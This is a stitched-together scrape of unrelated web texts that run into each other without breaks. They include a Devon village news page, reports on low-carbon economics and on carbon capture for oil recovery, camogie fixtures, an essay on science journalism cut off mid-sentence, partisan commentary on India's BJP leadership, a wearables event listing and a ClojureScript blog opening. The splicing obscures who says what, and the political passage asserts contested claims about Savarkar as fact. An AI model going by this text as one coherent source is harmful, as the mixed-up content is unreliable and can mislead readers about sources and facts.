New local book publication: This new book, by Tim Whitten, published by Widecombe History Group with support from Moor than meets the eye, tells the story of the Lords of Widecombe and the Farmers of Bonehill. Click for full details.
Christmas Tree Festival 2018: The results are in. Click here to view.
The Book of the Widecombe Roll of Honour: This special book, completed for Armistice Day 2018 and kept in Widecombe Church, has now also been made available online. It can be viewed here.
Dartmoor Story: Click here to find out about Ron Shear's new ebook.
Parish Link: To view and/or download the latest Parish Link in pdf format, click here.
New Village Hall: For the latest on the new village hall, click here.
Pig-House and Heritage Garden Project: The History Group have restored the old pig-house in the village and created a small garden next to it. More details can be found here.
Moor Than Meets The Eye: The 'Welcome to Widecombe' project is nearing completion and the results can now be seen around the village with information boards and brass-rubbing posts installed.
World War One: We are remembering those from Widecombe that fell during World War One by recording details of their life and war record. Full details are available here of those who died during 1914-1918. You can also view the book of the Widecombe Roll of Honour, which lists with biographical details those from the local area who served in World War One.
Digital Archive: Visit the Widecombe Digital Archive with its already substantial quantity of online assets including Apprenticeships, Churchyard Headstones, Tithe Apportionments and other Parish Chest contents including Overseers' Accounts and Churchwardens' Accounts. Phase two (the History Group Archive and other material donated or loaned to the Group) is in progress and a number of these items have also been uploaded to the online archive.
Getting Here: If you have trouble travelling to Widecombe by public transport, this website may help you out. Give www.traveldevon.info a try. In fact it will help you with your travel throughout Devon.
Village Map: Please take a look at our Google Map of Widecombe Village Centre.
Please Visit the History Group Publications Page to consider buying their publications, including their book 'History of Widecombe Fair'. This book is also available from some local shops.
Memories of a bygone era. Sent in by Alan Rawson. You can click on the picture for a larger view. See more pictures in Picture of the Month.
This site was last updated on 2nd February 2019(Image: Ramesh Amruth/Plainpicture)
Is it too good to be true? Top economists this week lay out an audacious argument for transforming the world’s economy into a low-carbon one. Even if you forget climate change, they say, it is worth doing on its own. That’s because a low-carbon economy is an efficient economy that will deliver faster economic growth, better lives and a greener environment. Forget the costs, feel the benefits.
The report is published today, a week before world leaders gather at the United Nations in New York City for the UN Climate Summit 2014, which will discuss how to share out the cost of fighting climate change. But its optimistic message is that there is no cost to share. Nations should be cutting their carbon emissions out of self-interest.
The study – authored by the World Resources Institute, a think tank in Washington DC, the Stockholm Environment Institute and others – is published by the Global Commission on the Economy and Climate, an independent body chaired by Felipe Calderón, former president of Mexico, and Nicholas Stern of the London School of Economics. (The Stern Report in 2006 first opened up a global debate about the economics of tackling climate change). A copy of the latest report, Better Growth, Better Climate: The New Climate Economy Report, is available here.
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“We can combine economic growth and climate responsibility,” Stern said at a pre-publication press briefing. “The key is fostering the right investment, making it profitable to the private sector.”
2030 vision
The next 15 years are critical to preventing global warming above 2 degrees, said Calderón, because after 2030 it may be too late. During that time the world’s economy will double in size, and governments and the private sector will probably invest $90 trillion or so in infrastructure such as expanded cities, energy systems and agriculture. These are the three areas the report examines in a wide-ranging review of existing research on the links between climate action and economic activity.
Bad investment would be disastrous, it concludes. But if the world spends wisely on reducing carbon emissions, the climate problem could be largely cracked and economic growth would actually be higher than in a high-carbon world. But delay is dangerous. Every tonne more carbon dioxide in the atmosphere, and every new coal-fired power station built, will make it “more expensive and more difficult to shift to a low-carbon economy”, said Calderón.
On cities, the report says that with a billion more urban residents expected by 2030, massive spending on sprawling urban conglomerations would be bad all round: creating inefficient and lousy places to live and work, gridlock, smog and high carbon emissions. But more compact cities, served by mass public transport systems and cleaner power generation, would be economically more dynamic, healthier and cost-effective, with commuter travelling costs cut by 50 per cent. Building cities that way would also be cheaper, said Jeremy Oppenheim, lead author of the report and a London-based economist at business consultants McKinsey & Company.
Smart agriculture
Feeding another billion people without cutting down the remaining tropical forests needs smart agriculture that maximising yields, says the report. It also means bringing back into use massive areas of former farmland ruined by overgrazing, soil erosion and salt pollution from the ocean. “Restoring just 12 per cent of the degraded land could feed 200 million people,” said Oppenheim. That’s good economics and by protecting trees we would also keep forest carbon out of the atmosphere.
Energy supply is already transforming. The price of solar power has fallen 90 per cent in less than a decade, the report claims. That, along with a surge in hydroelectric dams, is why, globally, half of newly installed electricity generating capacity is now renewables. “It’s mainstream. It can out-compete coal,” said Oppenheim. With the public-health costs of air pollution from fossil fuels typically cutting national GDP by about 4 per cent – and by more than 10 per cent in China – banishing coal in particular is a no-brainer, say the authors.
Some people will scoff at this. Stern has been accused in the past of exaggerating the economic cost of climate change. But his claim this time – that a shift to a low-carbon economy makes sense even without the need to fight climate change – opens a new front.
Huge scope for action
Critics may pick up on the report’s admission that the switch to a low-carbon future will increase investment costs for infrastructure by about 5 per cent over 15 years, and that “some jobs will be lost”. But the authors say such costs will be swamped by the gains such as economic efficiency and better health. “There is now huge scope for action which can both enhance growth and reduce climate risk,” the report concludes.
Some other analysts agree. A report last week from UK-based consultants Cambridge Econometrics forecast that a cut of 60 per cent in UK carbon emissions would deliver, by 2030, GDP 1.1 per cent higher than would be expected if sticking with high-carbon status quo.
If markets worked with perfect foresight, the low-carbon switch would happen automatically. Investors would go green to maximise returns. But markets don’t work perfectly, said Stern. In fact they are rigged by massive subsidies for high-carbon fossil fuels that the International Energy Agency estimates are worth nearly $550 billion a year. That is more than five times the subsidy for renewables.
So action by governments is crucial to levelling the playing field, says the report. And to making sure that the hidden costs of the traditional power-generating ways – such as surging health bills as people get sick from breathing urban smogs – are reflected in energy prices. Public funds will also be needed for research vital to deliver the innovations in digitisation, new lighter materials and biotechnology that can all help deliver a buoyant high-efficiency, low-carbon economy, the report argues.
Finally, if governments could agree on a strong climate treaty, legally limiting national emissions, that would also set the tone for making the changes happen. But, said Oppenheim: “It’s not essential. All the things we propose are in the economic interests of countries on their own terms.”By Camogie Association
Posted 02/07/2015
It’s time take a look ahead to the third round of matches in the 2015 Liberty Insurance Camogie Championships.
Liberty Insurance Senior Camogie Championship Group 1
Offaly v Galway, St.Brendan’s Park, Birr, 2.30pm, Referee: Peter Dowd
This is a must-win game for Offaly if they wish to reach the quarter-finals again this year having suffered defeats against both Limerick and Wexford in their opening matches so far.
National League champions Galway will be looking to maintain their winning start having got their campaign underway in impressive fashion with a high profile win over the reigning All-Ireland champions Cork a fortnight ago.
Wexford v Limerick, Innovate Wexford Park, 5pm, Referee: Alan Lagrue (Double Header with Hurling)*
Wexford come into this tie on a high having started their campaign with a comprehensive victory over Offaly last weekend whilst Limerick will be hoping to bounce back to winning ways after their defeat to Cork last week having started the campaign brightly with a win against Offaly in the opening round.
When these two sides met in the National League, it was Limerick who ran out as impressive winners on the day, something which Wexford will be looking to atone for. The match will be the curtain raiser to the All-Ireland Senior Hurling Championship clash between Wexford and Cork in Innovate Wexford Park which should ensure a bumper crowd behind the home side.
Liberty Insurance Senior Camogie Championship Group 2
Derry v Kilkenny, Swatragh, 2.30pm, Referee: Karl O’Brien
Derry will be looking for a repeat performance from last weekend’s epic encounter with Tipperary which saw them narrowly lose by just a single point in a high scoring and hard fought match. They will also be looking to put in a better display than when the two sides met in the National League, on a day when Kilkenny ran our convincing winners.
Kilkenny, are looking to make up for the heartbreak of last year’s narrow All-Ireland Final loss to Cork and to go one further in 2015 and have begun this campaign in impressive fashion with wins against Dublin and Clare so far.
Dublin v Tipperary, O’Moore Park, Portlaoise, 5pm, Referee: Ray Kelly (Double Header with Hurling)*
Dublin will be looking to put their first points on the board having lost their opening match at the hands of what is proving to be an impressive Kilkenny side. Tipperary meanwhile will be looking to maintain their winning ways following their narrow win over Derry last weekend, but will need to sure up their defence to hold up a Dublin side that impressed during the National League campaign.
The match will be the curtain raiser to the All-Ireland Senior Hurling Championship clash between Dublin and Laois in O’Moore Park, Portlaoise which should ensure a bumper crowd supporting the Dublin side.
Make sure to make it to a game this weekend and to follow all of the latest on Social Media using #ourgameyourgame
Cairde Camogie tickets are still available to purchase at the following outlets http://www.camogie.ie/news.asp?id=4589
Saturday July 4th
Liberty Insurance Senior Camogie Championship Group 1
Offaly v Galway, St.Brendan’s Park, Birr, 2.30pm, Referee: Peter Dowd
Wexford v Limerick, Innovate Wexford Park, 5pm, Referee: Alan Lagrue (Double Header with Hurling)*
Liberty Insurance Senior Camogie Championship Group 2
Derry v Kilkenny, Swatragh, 2.30pm, Referee: Karl O’Brien
Dublin v Tipperary, O’Moore Park, Portlaoise, 5pm, Referee: Ray Kelly (Double Header with Hurling)*
Liberty Insurance Intermediate Camogie Championship Group 1
Meath v Cork, Ratoath GAA, 2.30pm, Referee: Gráinne Coulter
Wexford v Down, Oylegate/Glenbrien, 2.30pm, Referee: Mike Sheehan
Liberty Insurance Intermediate Camogie Championship Group 1
Kilkenny v Kildare, Thomastown, 2.30pm, Referee: John McDonagh
Waterford v Antrim, Walsh Park, 2.30pm, Referee: Aiden O’Brien
Liberty Insurance Premier Junior Camogie Championship
Dublin v Laois, O’Toole Park, Crumlin, 2.30pm, Referee: Fintan McNamara
Sunday July 5th
Liberty Insurance Premier Junior Camogie Championship
Armagh v Westmeath, Ballymacnab, 2.30pm, Referee: Gráinne Coulter
Limerick v Roscommon, Croagh, Limerick, 2.30pm, Referee: Aiden O'Brien
Liberty Insurance Junior A Camogie Championship
Carlow v Kerry, Netwatch Cullen Park, Carlow, 2.30pm, Referee: Liz Dempsey
*Please note that Cairde Camogie season tickets will be accepted up until 10 minutes into the first half of the Camogie match only - after this time anyone entering will have to purchase a match ticket.
#ourgameyourgameBizarrely, the most read article on the Guardian website last week wasn't about Ed Miliband or the Labour party conference, but a quirky special-interest piece spoofing science journalism which I assumed only about three people would get. Apparently I hit a nerve, but why? What's wrong with science journalism? How did it become so dull and predictable? And how do we fix it?
My point was really about predictability and stagnation. The formula I outlined – using a few randomly picked BBC science articles as a guide – isn't necessarily an example of bad journalism; but
science reporting is predictable enough that you can write a formula for it that everyone recognises, and once the formula has been seen it's very hard to un-see, like a faint watermark at the edge of your vision.
Journalism – Analysis = RSS Feed
To see what I mean about predictability, take a look at the BBC Science & Environment news page. At the time of writing I can see the following headlines. Spot the recurring theme:
UK 'needs domestic wind industry'
Painless laser 'can spot disease'
City life 'boosts bug resistance'
'Ghost particle'
Neanderthals were 'keen on tech'
Fossil flower 'clue to daisies'
Winds'may have parted Red Sea'
Malaria 'caught from gorillas'
LHC finds 'interesting effects'
I could go on, but you can see 'the pattern'. They're called 'Scare quotes' and they are used by writers to distance themselves from the words inside, or to indicate paraphrasing – unless you're a cynic, in which case scare quotes are a get-out-of-jail-free card that allows journalists to absolve themselves of any responsibility for the words mentioned.
This habit is so deeply ingrained at the BBC that even the question of whether 'effects' are 'interesting' is deemed too thorny an issue for the headline writer to give an opinion on. God forbid that in calling a piece of research 'interesting' the BBC should sully its reputation for robotic impartiality.
The defence from some corners is that reporters should be neutral, that their job is simply to report what has been said without passing judgement on it or challenging it in any way.
Cobblers. Ed Yong recently explained how daft this is:
If you are not actually providing any analysis, if you're not effectively 'taking a side', then you are just a messenger, a middleman, a megaphone with ears. If that's your idea of journalism, then my RSS reader is a journalist.
A science journalist should be capable of, at a minimum, reading a scientific paper and being able to venture a decent opinion. A more reasonable excuse is lack of time. Full-time reporters are expected to cover breaking stories quickly, and churn out several articles a day. Under that sort of pressure, even if the journalist wants to delve deeper into the murky depths of a story they may simply not have the time to do it justice.
Ultimately, though, if all you're doing is repeating press releases, and not providing your own insight, analysis or criticism, then what exactly is the point of paying you? What are you for? What value do you add for me? What right do you have to complain if you're going out of business?
Death by a thousand restrictions
Many of the problems in science reporting come not from the journalists or editors themselves, but as a result of the pressures and constraints they're under, and journalists at the BBC are under more constraints than most.
The Curse of the Undead (Ceefax)
Have you ever wondered why the first few lines of any BBC website article are often particularly stilted and awkward? It's because thanks to the BBC's multi-platform publishing guidelines, the first few paragraphs of any news story need to be written in such a way that they can be cut and pasted into a Ceefax page.
To see an example of this in action, take a look at this article and then this Ceefax page.
It also means that there's a pressure for things like the journal, university, and so on to be mentioned by a certain point so that everyone gets proper credit in all versions of the article. In 2010, news stories on a website are actually being optimised, and reorganised for Teletext. Seriously.
Science for All
Another issue affecting style is the need to reach a diverse audience. This puts pressure on commercial media groups who need to secure page views to generate advertising revenue, but also on the BBC which has a mandate not only to provide news accessible to as many people as possible, but to represent the UK, its regions and communities to an international audience.
At the Daily Mail, that pressure manifests itself in the form of acres of female flesh and breathless, lascivious descriptions of barely contained breasts, toned tummies and voluptuous, sun-kissed thighs. At the BBC, it means expressing things as plainly and simply as possible, avoiding any slang, cultural references or colourful language that might obscure things for those with poor literacy, or who speak English as a second language.
The cynics among you might use the pejorative phrase 'dumbing-down', while others might talk approvingly of 'plain English'. It seems pretty fair to me, but does the same formula have to be relentlessly applied to every article? Could the BBC not, amid the vast sea of simple, clear reporting find space for a modest island of meatier, spicier prose for those of us hungry for something a little richer?
Arbitrary Word Limits
As a writer, word limits are both a blessing and a curse. Many bloggers would have their writing immeasurably improved if they stuck to a word limit – doing that forces you to plan, to organise your thoughts, and to avoid redundancy and repetition. On the other hand, some stories need more time to tell, and sticking dogmatically to an arbitrary 800-word limit for stuff that's published on the internet doesn't make a lot of sense. The internet is not running out of space.
Conventional wisdom says that after a few hundred words, people start to lose attention. Conventional wisdom is a load of bollocks, as online magazine Slate neatly demonstrated with their experiments in long-form writing. Detailed, investigative pieces running to tens of thousands of words netted millions of page views, and proved that audiences aren't quite the infantile content-junkies they're often made out to be.
Fundamental Units of Science
Another set of problems spring from the attitude journalists seem to have towards science – or at least those who aren't still describing researchers with the faintly bigoted and dehumanising term "boffins". Science is all about process, context and community, but reporting concentrates on single people, projects and events.
The Race to Mediocrity
A couple of months ago I happened to be in a meeting at The Guardian's headquarters in King's Cross as news of the most massive star ever found broke. It's no exaggeration to say that half the newspaper's staff were involved in covering the story for various sections.
Well okay, it's a big exaggeration, but it's true that the media went into a sort of bizarre mass hysteria as newspapers, TV, radio and magazines raced to cover a slightly-larger-than-normal ball of gas with feature articles, diagrams showing small circles next to bigger circles, video packages showing small circles moving next to bigger circles, and interactive fact panels. Probably someone somewhere was staging a re-enactment with two appropriately rotund celebrities.
The result was a self-propelling explosion of journalistic effort that resulted in hundreds of virtually identical articles scattered across the face of the internet like some sort of fast-growing weed. What did all this effort and expense achieve? Hundreds of interesting things happen in science every week, and yet journalists from all over the media seem driven by a herd mentality that ensures only a handful of stories are covered. And they're not even the most interesting stories in many cases.
In the Shadow of The Event
Members of the public could be forgiven for believing that science involves occasional discoveries interspersed with long periods of 'not very much happening right now'. The reality of science is almost the complete opposite of this. We spend centuries incrementally building little piles of knowledge, and it's extremely rare that an individual paper or piece of work is really that profoundly important.
One of the biggest failures of science reporting is the media's belief that a scientific paper or research finding represents a conclusion of some kind. Scientists know that this simply isn't true. A new paper is the start or continuance of a discussion or debate that will often rumble on for years or even decades.
Often we can only assess the importance of research with hindsight. It was several decades before the full significance of the 1896 observation by Svante Arrhenius that increasing CO 2 levels in the atmosphere would lead to an increase in global temperature became obvious. Or at least obvious to all but a minority of ideologically driven morons.
Trying to report science by picking out random interesting papers to look at is like a food critic attending the opening of an Indian restaurant and deciding to sample a bit of cumin, then a splash of ghee, and maybe a few grains of rice. All sense of meaning, of context, of the whole dish, is lost.
Disconnection from the World Wide Web
The world wide web is built from links. That's why it's a web, and not just a library of pages like, well, Ceefax. Bloggers have understood this since even before anyone had made up the word 'blog', but for some reason links – especially links to the research itself – have remained mostly alien to online media. Why?
Journals Behaving Badly
No discussion of science journalism would be complete without a mention of The Dreaded Embargo. It works something like this:
The Journal of Something or Other is about to publish an interesting paper, so it decides to issue a press release and a preview copy of the paper to journalists.
The press release is embargoed until a certain date. This gives journalists time to write about the story without worrying about being scooped, and ensures plenty of coverage on the day.
On the day the embargo lifts, the story is published on umpteen million websites.
And that's sort of okay, except for two snags. Firstly, with tedious regularity it turns out that many journals don't publish the paper when the embargo ends, some waiting days or even weeks to get it online. Secondly, many of the papers are pay-walled in any case, and organisations (like the BBC until recently) decide there's no real benefit from linking to a pay-walled site.
This matters for two reasons: firstly, it means that the journalist can't provide a link to the study, which is annoying for people who want to see more; secondly, it destroys accountability by preventing other journalists, bloggers, scientists or interested people from seeing the source for themselves and judging the merits of the claims made by researchers, university departments or reporters.
The Blue Revolution
As I said recently, links are beautiful. They take us beyond whatever we happened to be looking for, on journeys to places we never even imagined existed. Every minute of every day, millions of curious apes click billions of links, each tracing their own miniature voyages of discovery.
By providing links to sources, journalists can show that they're honest, open and trustworthy and allow the reader to judge whether the interpretation they've presented of someone else's work or words is the correct one. They can also open up avenues for exploration and discovery to their audience, providing the reader with far more value than one journalist could provide on their own.
It's taken a long time, and a considerable amount of lobbying to get the BBC to take links seriously, but they have begun to move in the right direction, and for that they should be praised. It would be brilliant if other news media could do the same, and bring traditional media up to the standard set by bloggers.
Five Ways to Improve Science Journalism
A number of people responding to my spoof set me a challenge. Could I write an example of a good piece of science journalism? At the risk of ducking the challenge (which I'd be lousy at, since I tend not to do much reporting on research anyway), that misses the point, because I don't think there should be a set way of doing things.
But what does that mean in practice? What should, say, the BBC do to improve their coverage? I can think of a few things that would make an impact right away.
Stop racing the pack. It's undignified, seriously. Commercial companies at least have the excuse that they need the page views to survive, but the BBC is unique in being paid for by the licence fee. That should allow it some flexibility to sit outside of the free market rat race. Let the tabloid schmucks race to produce three hundred near identical pieces on whatever giant star they found this week. Repeating what other people are already doing isn't adding any value for customers or for licence fee payers.
It's undignified, seriously. Commercial companies at least have the excuse that they need the page views to survive, but the BBC is unique in being paid for by the licence fee. That should allow it some flexibility to sit outside of the free market rat race. Let the tabloid schmucks race to produce three hundred near identical pieces on whatever giant star they found this week. Repeating what other people are already doing isn't adding any value for customers or for licence fee payers. Challenge and analyse. If you can free some of your journalists from the rat race of inane reporting on stuff that everyone else has already covered, then maybe you can use those people to do something more worthwhile, something that |
has to be ready with a strategy on how to tackle this consolidation. But that’s besides the point.
If one has a look at the efforts by Shah to build up the party, one can’t but admire him. In 17 months as the BJP president, Shah has gone to every state party headquarter twice and met nearly 600 district presidents and general secretary twice. It a towering record that has few parallels in the BJP's history in recent years. When he took over as the party president, only 225 of the 600 district units had their own office buildings.
Now the work of constructing district unit buildings is in full swing in many of the 375-odd districts. In less than two years, all the 600 units will have office buildings of their own with well-planned libraries for helping the party workers to expand their vision. Even the books for the libraries have been earmarked with a vision. Eighty per cent of the books in each library would be on state and district history and 20 per cent on national history. And history books would be in regional languages as well as English and Hindi. Expanding people's vision on the basis of a nationalist history is part of the vision of both Modi and Shah.
There might be allegations that Shah doesn’t listen once he has made up his mind and is not open to suggestions, but the fact remains that he is one of the first presidents of the BJP in several years who has time for the party worker. An honest and simple worker gets more time with Shah than a suit-clad entrant in the party. His commitment to core ideals of the party is one of the best. He is one of the first leaders in the BJP in recent decades to see Savarkar's Hindutva connection (BJP leaders have highlighted his revolutionary role but have played down his Hindutva role under the pressure of pseudo-secularists) and confront the Leftists who have painted Savarkar as an anti-Muslim zealot as against the real truth about him which is that he was against Muslim appeasement and Islamic radicalism and not Muslims per say.
But there is a problem:
Modi, to a great extent, and Shah, to a lesser extent, have cut themselves off from their core supporters and strategists who played a key role in the 2012 Gujarat Assembly poll and the 2014 Lok Sabha campaigns. The switchover by Modi in the form of disconnecting himself from his core strategic supporters which had a mix of intelligent and transparent people and connecting instead with a new set of strategic group appears to be faltering. As a result, his feedback channels which were very transparent earlier are failing him now as his campaign mistakes in Bihar indicate.
Apparently there are few today among Modi's new strategic supporters who are willing to take the risk of telling him the truth when it is bitter. Even on core issues of importance, Modi is reportedly getting "coloured" feedback. Clearly, Modi needs to connect with the old, emotionally-attached crowd if he is to regain lost ground. Plus, there is an aura of stiffness around him that prevents even his Cabinet colleagues from chipping in with their feedback.
With Shah, the problem, for long, has been one of communication at the individual level. As it is, Shah was not a very good communicator at the individual level. His communication problem has in a way increased after becoming the party president. It may be owing to a paucity of time as a result of greater responsibilities. He has to be more communicative and rely more on senior party colleagues for precise feedback even while being objective and alert while acting on the incoming information. And last but not the least, he has to understand the dynamic of India’s communal problem and stick to a broad brand of nationalist rhetoric and resist the temptation of fishing in the waters of aggressive Hindutva for a sake of just votes - a mistake he committed in Bihar.
Clearly, the nation can ill-afford the weakening of the BJP of Modi and Shah.We are kicking off We Are Wearables Ottawa with our city’s leaders in the field. Ottawa is home to some highly anticipated wearable tech, and with our history as the original silicon valley north, this is a great place to innovate, share and create. We have all the pieces to make a great wearable, there is a deep history of communications technology, and we have a growing UX scene.
Hosted by Systemscope, in the heart of The Market, hear from Ottawa’s wearable tech leaders and go hands-on with some of the latest in wearable tech.
Beer and pizza will be provided.
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Agenda
6:00-6:30PM: Doors open, food & bar served + demo area open
6:30-6:45PM: Opening remarks from Jen Greenberg, We Are Wearables Ottawa organizer and Tom Emrich, Founder of We Are Wearables & Senior Editor at BetaKit.com
6:45-7:00PM: Presentation + Demo from Leonard MacEachern, President and CEO of GestureLogic
7:00-7:30PM: Panel: A First Look at Ottawa's Wearable Scene with:
• Leonard MacEachern, President & CEO of GestureLogic
• Lee Silverstone, Co-CEO and Co-Founder of Gymtrack
• Kyle McInnes, Director of Maker Space North
• Moderator: Rob Woodbridge, Founder of UNTETHER.tv
7:30-8:00PM: Networking + tech demos from
• GestureLogic, makers of the fitness intelligence wearable LEO
• Gymtrack, a wearable, smart pin and barbell attachment to automatically track your workout at the gym
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About the Tech
GestureLogic (http://www.gesturelogic.com/#index) is an Ottawa-based wearable technology company arising from award-winning research conducted at Carleton University, Canada. GestureLogic's team combines experience and expertise in the areas of business, sales, athletics, industrial design, machine intelligence, electrical engineering, and biomedical engineering.
Gymtrack (http://www.gymtrack.co/) provides gyms with a system that automatically tracks their members' workouts including free weights, barbells, weight stacks, cardio exercises and bodyweight. Gymtrack also impacts the $10 billion person training industry by allowing gyms to sell Virtual Personal Training to their members, where trainers can keep track of performance in real time and adjust workouts accordingly. Gymtrack was founded in 2014 and as since grown to over 35 employees and counts the largest gym chains and equipment manufacturers in the world as customers.
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About Our Speakers
Rob Woodbridge: For 14 years Rob has been immersed in the middle of the mobile revolution in roles ranging from strategic advisor, board member and coach to VP Operations and President & CEO. In each of the companies that he has been involved with, he has helped shape strategy, marketing initiatives and product development to extend existing business into the mobile world -- or flat out create new businesses leveraging mobile. Rob's experience is as diverse as the mobile industry -- from a mobile game company targeting consumers to a mobile IT solution targeting enterprises to a video podcast focused on understanding the ins and outs of developing, marketing and selling mobile applications (found at http://www.untether.tv).
Leonard MacEachern is the CEO and co-founder of GestureLogic, an Ottawa-based wearable technology start-up. Len is an Associate Professor of Electronics Engineering at Carleton University, performing research on low-power and high performance analog and mixed-signal circuitry with application to wearable technology implementations. Len has over 20 years of electrical engineering consulting experience, and is a named inventor on multiple patents. He has merged his passion for fitness and technology into GestureLogic.
Lee Silverstone is a multiple time entrepreneur who after completing his honours degree in Health Science at the University of Ottawa in 2014, went on to found Gymtrack. Lee holds years of experience in management, at Gymtrack, MyTutor, and H20 where he was responsible for managing over 150 employees. Lee is a passionate entrepreneur and inventor and plays a major role coordinating aspects of Gymtrack with a special focus on sales and marketing and physical product development. Gymtrack currently has 35 employees and counts some of the largest gym chains and equipment manufacturers in the world as customers.
Kyle McInnes started off as a writer, creating content for tech blogs and entertainment sites. From there I got into the business of web marketing and trying to build online businesses. Now I'm doing the startup thing and trying to build great companies. Currently, I'm the director of Maker Space North, a 19,000 sq. ft warehouse that houses startups, events and makers.
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About Our Partners
Design 1st (http://www.design1st.com/) is a senior product design and engineering team with 25 years experience, serving clients in Ottawa, Vancouver, Toronto and Montreal. We balance a product's technical objectives with a user's expectation of professional design image and simple operation. Our in-house prototyping facilities and creative team of industrial designers and mechanical engineers are ready to start bringing your idea to life!
Systemscope (http://www.systemscope.com/) works with government to improve its operations and services. They do this by improving the management of their organizations, their online presence and their information assets, delivering purpose-built solutions across these areas: operations consulting, service improvement and information management.
BetaKit (http://betakit.com/) covers Canadian startup-news and tech innovation.
Pizza Pizza (http://pizzapizza.ca): As a restaurant, pizza maker, employer, business partner and caring company, Pizza Pizza delivers. The Pizza Pizza network, including Pizza73, is composed of more than 600 traditional and non-traditional restaurants coast to coast, employing over 3,000 Canadians. We provide a flavourful, varied and high-quality menu to pizza-lovers of all ages and tastes. As a result, our organization has become a leader in the quick service segment of the Canadian foodservice industry, and one of the top pizza restaurant chains in the country.
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Interested in speaking at or sponsoring the event? Want to join the team? Or have some feedback? Email the Ottawa team at [masked].But that green vision proved too expensive and complicated. So the administration accepted a trade-off.
To help the environment, the government allows power companies to sell the carbon dioxide to oil companies, which pump it into old oil fields to force more crude to the surface. A side benefit is that the carbon gets permanently stuck underground.
The program shows the ingenuity of the oil industry, which is using government green-energy money to subsidize oil production. But it also showcases the environmental trade-offs Obama is willing to make, but rarely talks about, in his fight against global warming.
Companies have been injecting carbon dioxide into old oil fields for decades. But the tactic hasn't been seen as a pollution-control strategy until recently.
Obama has spent more than $1 billion on carbon-capture projects tied to oil fields and has pledged billions more for clean coal. Recently, the administration said it wanted to require all new coal-fired power plants to capture carbon dioxide. Four power plants in the U.S. and Canada planning to do so intend to sell their carbon waste for oil recovery.
Just last week, former Energy Secretary Steven Chu announced he was joining the board of a company developing carbon capture technology.
The unlikely marriage of coal burners and oil producers hits a political sweet spot.
(Read more: Mexico's 'transformational' energy boom is near)
It silences critics who say the administration is killing coal and discouraging oil production. It appeases environmentalists who want Obama to get tougher on coal, the largest source of carbon dioxide.
It also allows Obama to make headway on a second-term push to tackle climate change, even though energy analysts predict that few coal plants will be built in the face of low natural gas prices and Environmental Protection Agency rules that require no controls on carbon for new natural gas plants.
"By using captured man-made carbon dioxide, we can increase domestic oil production, promote economic development, create jobs, reduce carbon emissions and drive innovation," Judi Greenwald told Congress in July, months before she was hired as deputy director of the Energy Department's climate, environment and energy efficiency office.
Before joining the Energy Department, Greenwald headed the National Enhanced Oil Recovery Initiative, a consortium of coal producers, power companies and state and environmental officials promoting the process.
But the environmental benefits of this so-called enhanced oil recovery aren't as certain as the administration advertises.
"Enhanced oil recovery just undermines the entire logic of it," said Kyle Ash of Greenpeace, one of the few environmental groups critical of the process. "They can't have it both ways, but they want to really, really bad."
That has become a theme in some of Obama's green-energy policies. To promote new, cleaner technologies, the administration has allowed companies to do things it otherwise would oppose as harmful to the environment.
For wind power, the government has shielded companies from prosecution for killing protected birds with giant turbines.
For corn-based ethanol, the administration underestimated the environmental effects of millions of new acres of corn farming. The government even failed to conduct required air and water quality studies to document its toll on the environment.
The administration wants to make similar concessions to make carbon-capture technology a success.
The EPA last week exempted carbon dioxide injection from strict hazardous waste laws. It classified the wells used to inject the gas underground for oil production in a category that offers less protection for drinking water.
Oil companies using carbon to get oil also aren't subject now to the tougher reporting and monitoring requirements that experts say are necessary to ensure the carbon stays underground, and they're fighting an EPA proposal that would require them to be if the carbon comes from power plants covered by the new federal rules.
"It amounts to looking the other way," said George Peridas, a scientist with the Natural Resources Defense Council, which supports using carbon for oil extraction. The group believes it replaces dirtier oil or oil produced in more environmentally sensitive places and reduces carbon in the atmosphere.
The administration also did not evaluate the global warming emissions associated with the oil production when it proposed requiring power plants to capture carbon.
A 2009 peer-reviewed paper found that for every ton of carbon dioxide injected underground into an oil field, four times more carbon dioxide is released when the oil produced is burned.
(Read more: Africa's oil refining ambitions fade)
"There is no form of energy that is free of impacts. It is always about trade-offs and someone will always be unhappy," the paper's author, Paulina Jaramillo, the assistant professor at Carnegie Mellon University, said in an interview.
Administration officials counter by saying the oil was going to be extracted anyway, so the policy should only be seen as reducing carbon dioxide from coal plants.
The administration also promotes the benefits for energy security. Every barrel of oil produced here will mean one less produced abroad.
"We are taking carbon dioxide that would have gone to the atmosphere in coal plants, storing it and displacing imported oil with domestic oil," said Energy Secretary Ernest Moniz, asking a question posed by The Associated Press on C-SPAN's "Newsmakers" program in September.
In Mississippi, where Southern Company's Kemper County power plant eventually will supply two oil producers with carbon dioxide, Denbury Resources Inc. says it would not be able to produce oil there otherwise.
Denbury is already using carbon dioxide trapped beneath a salt dome near Jackson to produce oil in the state. But it can use more carbon dioxide than nature can provide. That's where the power plant comes in.
The federal support for Kemper lowers the cost of installing the carbon capture equipment, and ultimately, the cost of carbon dioxide for the oil producer.
The company has entered into a long-term contract with Southern for carbon dioxide. It will permit Denbury to recover a total of between 3.5 million and 4.2 million barrels of oil, a tiny fraction of the 91 million barrels of oil the world consumed daily last month. But for the oil companies, it still means millions of dollars more in revenue.
The nearly $5-billion project received $270 million from the Energy Department, prior to the Obama administration, and $279 million more in federal tax credits.
A member of Mississippi's Public Service Commission, Brandon Presley, bristled over what he described as pressure from Washington to approve the project, which already has meant a 15 percent increase in utility bills for Mississippi Power customers.
Secretary Chu wrote Presley a letter in May 2010 that said without the Kemper County project, the U.S. government might not be able to use the technology anywhere. The commission approved it over Presley's objection.
"The (Energy Department) is knee deep in this," Presley said. "I don't think you'll find anywhere in the country where you've found more heavy-handedness by the federal government or by elected officials than what went on here to try and get this passed."
In an interview with the AP, Chu said pairing oil production with pollution reduction is an imperfect method for "developing the capture and ramping up the technologies."
"It's not one for one," he said. "You are not sequestering all the carbon dioxide."
While Kemper is the first, it's not the only one.i-AMP Lens Technology
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By amplifying or attenuating the amount of energy allowed to pass to the eye, GUNNAR's lab technicians have fine-tuned the Call of Duty: Black Ops ProGaming Glasses for optimal gaming performance.
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ClojureScript looks like a solid approach to building applications that target JavaScript VMs. It’s built on top of Google’s Closure Compiler/Library which is very intruiging and is the best approach that they could have taken (now that I’ve a played with it a little). Being new to both Closure and ClojureScript I was curious about what it might feel like to build an application using these tools. I’ve mostly despised programming in JavaScript for browsers no matter what hyped-up library is available (this includes JQuery which is the best of a bad bunch in my opinion). So I decided to write a ClojureScript application that runs in the browser based on a previous Clojure implementation of a Convex Hull algorithm with heuristics.
